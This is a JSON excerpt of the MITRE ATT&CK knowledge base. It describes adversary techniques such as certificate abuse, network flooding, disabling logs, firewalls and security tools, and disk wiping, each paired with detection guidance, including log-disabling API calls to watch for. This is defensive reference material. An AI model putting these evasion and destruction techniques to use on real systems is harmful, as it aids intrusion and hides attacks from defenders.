            "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
            "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a",
            "type": "attack-pattern",
            "kill_chain_phases": [
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            ],
            "modified": "2021-04-15T02:33:38.589Z",
            "created": "2020-10-01T01:42:24.974Z",
            "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
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        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1588.004",
                    "url": "https://attack.mitre.org/techniques/T1588/004"
                },
                {
                    "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
                    "source_name": "DiginotarCompromise",
                    "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
                },
                {
                    "source_name": "Let's Encrypt FAQ",
                    "url": "https://letsencrypt.org/docs/faq/",
                    "description": "Let's Encrypt. (2020, April 23). Let's Encrypt FAQ. Retrieved October 15, 2020."
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
                },
                {
                    "source_name": "Recorded Future Beacon Certificates",
                    "url": "https://www.recordedfuture.com/cobalt-strike-servers/",
                    "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Digital Certificates",
            "description": "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.\n\nAdversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.\n\nCertificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ)\n\nAfter obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.",
            "id": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:32:49.507Z",
            "created": "2020-10-01T02:14:18.044Z",
            "x_mitre_detection": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
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        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1596.003",
                    "url": "https://attack.mitre.org/techniques/T1596/003"
                },
                {
                    "source_name": "SSLShopper Lookup",
                    "url": "https://www.sslshopper.com/ssl-checker.html",
                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Medium SSL Cert",
                    "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020."
                }
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Digital Certificates",
            "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
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                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:48:37.628Z",
            "created": "2020-10-02T16:58:58.738Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
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                {
                    "source_name": "mitre-attack",
                    "external_id": "T1498.001",
                    "url": "https://attack.mitre.org/techniques/T1498/001"
                },
                {
                    "external_id": "CAPEC-125",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/125.html"
                },
                {
                    "external_id": "CAPEC-486",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/486.html"
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                {
                    "source_name": "USNYAG IranianBotnet March 2016",
                    "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged",
                    "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019."
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Direct Network Flood",
            "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",
            "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
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                    "phase_name": "impact"
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            "modified": "2021-03-29T16:11:56.727Z",
            "created": "2020-03-02T20:07:18.651Z",
            "x_mitre_data_sources": [
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            ],
            "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
            "x_mitre_version": "1.2",
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            "x_mitre_impact_type": [
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                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Direct Volume Access",
            "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1006",
                    "url": "https://attack.mitre.org/techniques/T1006"
                },
                {
                    "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
                    "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
                    "source_name": "Hakobyan 2009"
                },
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1",
                    "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
                    "source_name": "Github PowerSploit Ninjacopy"
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                    "phase_name": "defense-evasion"
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            "modified": "2021-02-09T14:09:00.753Z",
            "created": "2017-05-31T21:30:20.934Z",
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            "x_mitre_platforms": [
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            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.",
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "File system access controls"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Drive: Drive Access"
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            "x_mitre_version": "2.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1562.008",
                    "url": "https://attack.mitre.org/techniques/T1562/008"
                },
                {
                    "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
                    "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/",
                    "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020."
                },
                {
                    "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
                    "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html",
                    "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020."
                },
                {
                    "source_name": "Configuring Data Access audit logs",
                    "url": "https://cloud.google.com/logging/docs/audit/configure-data-access",
                    "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020."
                },
                {
                    "source_name": "az monitor diagnostic-settings",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete",
                    "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Disable Cloud Logs",
            "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an attacker has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)",
            "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
            "type": "attack-pattern",
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                    "phase_name": "defense-evasion"
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            ],
            "modified": "2021-03-15T16:43:04.273Z",
            "created": "2020-10-12T13:52:32.846Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs)  In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.",
            "x_mitre_data_sources": [
                "Cloud Service: Cloud Service Modification",
                "Cloud Service: Cloud Service Disable"
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            "x_mitre_contributors": [
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                "Prasad Somasamudram, McAfee",
                "Sekhar Sarukkai, McAfee ",
                "Ibrahim Ali Khan",
                "Alex Soler, AttackIQ",
                "Janantha Marasinghe",
                "Matt Snyder, VMware"
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            "x_mitre_platforms": [
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        {
            "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5",
            "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)",
            "name": "Disable Crypto Hardware",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "external_references": [
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                    "external_id": "T1600.002",
                    "url": "https://attack.mitre.org/techniques/T1600/002"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
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            ],
            "type": "attack-pattern",
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                    "phase_name": "defense-evasion"
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            "created": "2020-10-19T19:11:18.757Z",
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            "x_mitre_platforms": [
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            "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.",
            "x_mitre_permissions_required": [
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                {
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                    "external_id": "T1562.002",
                    "url": "https://attack.mitre.org/techniques/T1562/002"
                },
                {
                    "source_name": "Windows Log Events",
                    "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/",
                    "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020."
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            "name": "Disable Windows Event Logging",
            "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nAdversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
            "id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a",
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            "x_mitre_defense_bypassed": [
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            "x_mitre_detection": "Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious.",
            "x_mitre_data_sources": [
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                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
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                    "url": "https://attack.mitre.org/techniques/T1562/007"
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                    "source_name": "Expel IO Evil in AWS",
                    "url": "https://expel.io/blog/finding-evil-in-aws/",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."
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            "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.",
            "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
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            "modified": "2021-03-08T10:33:02.146Z",
            "created": "2020-06-24T16:55:46.243Z",
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            "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.",
            "x_mitre_version": "1.1",
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            "x_mitre_permissions_required": [
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            "x_mitre_data_sources": [
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                "Firewall: Firewall Disable"
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            "x_mitre_platforms": [
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            "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ",
            "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T22:18:11.166Z",
            "created": "2020-02-21T21:00:48.814Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_defense_bypassed": [
                "Firewall"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Firewall: Firewall Disable",
                "Firewall: Firewall Rule Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1562.001",
                    "url": "https://attack.mitre.org/techniques/T1562/001"
                },
                {
                    "external_id": "CAPEC-578",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/578.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Disable or Modify Tools",
            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.",
            "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-19T13:41:17.746Z",
            "created": "2020-02-21T20:32:20.810Z",
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Log analysis",
                "Signature-based detection",
                "Host intrusion prevention systems",
                "File monitoring"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.",
            "x_mitre_data_sources": [
                "Process: Process Termination",
                "Windows Registry: Windows Registry Key Modification",
                "Windows Registry: Windows Registry Key Deletion",
                "Command: Command Execution",
                "Service: Service Metadata",
                "Sensor Health: Host Status"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Containers",
                "IaaS"
            ],
            "x_mitre_contributors": [
                "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security",
                "Nathaniel Quist, Palo Alto Networks",
                "Gal Singer, @galsinger29, Team Nautilus Aqua Security"
            ]
        },
        {
            "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "name": "Disabling Security Tools",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1089",
                    "external_id": "T1089"
                },
                {
                    "external_id": "CAPEC-578",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/578.html"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-21T20:35:48.979Z",
            "created": "2017-05-31T21:31:07.958Z"
        },
        {
            "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7",
            "name": "Disk Content Wipe",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1488",
                    "url": "https://attack.mitre.org/techniques/T1488"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-20T22:07:27.495Z",
            "created": "2019-03-29T14:59:50.763Z"
        },
        {
            "created": "2020-02-20T22:06:41.739Z",
            "modified": "2020-03-28T22:53:20.162Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
            "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
            "name": "Disk Content Wipe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1561.001",
                    "url": "https://attack.mitre.org/techniques/T1561/001"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                },
                {
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "source_name": "Microsoft Sysmon v6 May 2017"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Driver: Driver Load",
                "Drive: Drive Access",
                "Drive: Drive Modification"
            ],
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_permissions_required": [
                "SYSTEM",
                "root",
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1487",
                    "url": "https://attack.mitre.org/techniques/T1487"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "source_name": "FireEye Shamoon Nov 2016"
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."
                }
            ],
            "name": "Disk Structure Wipe",
            "id": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e",
